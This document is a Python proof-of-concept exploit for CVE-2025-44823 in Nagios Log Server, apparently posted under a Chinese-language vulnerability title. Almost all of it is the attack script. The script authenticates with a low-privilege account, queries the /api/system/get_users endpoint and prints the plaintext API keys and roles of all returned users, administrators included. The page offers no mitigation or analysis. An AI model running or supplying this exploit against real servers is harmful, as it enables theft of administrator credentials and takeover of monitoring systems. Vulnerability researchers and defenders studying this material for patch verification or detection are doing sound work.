CVE-2025-44823 Nagios Log Server API密钥明文泄露漏洞

#!/usr/bin/env python3 # CVE-2025-44823 - Nagios Log Server API Key Disclosure PoC # Exploits /api/system/get_users to retrieve plaintext admin API keys import requests import sys import json from urllib.parse import urljoin def exploit(target_url, username, password, verify_ssl=False): """ Exploit CVE-2025-44823 to extract admin API keys from Nagios Log Server. Requires valid low-privilege user credentials. """ session = requests.Session() session.verify = verify_ssl # Step 1: Authenticate to Nagios Log Server login_url = urljoin(target_url, "/nagioslogserver/index.php/login") login_data = { "username": username, "password": password, "login": "Login" } print(f"[*] Authenticating as {username}...") resp = session.post(login_url, data=login_data, allow_redirects=True) if "logout" not in resp.text.lower() and resp.status_code != 200: print("[-] Authentication failed.") return False print("[+] Authentication successful.") # Step 2: Call the vulnerable API endpoint to retrieve user list api_url = urljoin(target_url, "/nagioslogserver/index.php/api/system/get_users") print(f"[*] Requesting user list from {api_url}...") resp = session.get(api_url) if resp.status_code != 200: print(f"[-] Failed to retrieve user list. Status: {resp.status_code}") return False # Step 3: Parse response and extract API keys try: users_data = resp.json() except json.JSONDecodeError: print("[-] Failed to parse JSON response.") return False print(f"[+] Retrieved {len(users_data)} user records.") print("\n[!] Disclosed API Keys:") print("-" * 60) for user in users_data: username_val = user.get("username", user.get("name", "unknown")) api_key = user.get("apikey", user.get("api_key", user.get("apikey", "N/A"))) role = user.get("role", user.get("user_role", "unknown")) if api_key and api_key != "N/A": print(f" User: {username_val}") print(f" Role: {role}") print(f" API Key: {api_key}") print("-" * 60) return True if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <target_url> <username> <password>") print(f"Example: {sys.argv[0]} https://nagios.example.com user1 pass123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit(target, user, pwd)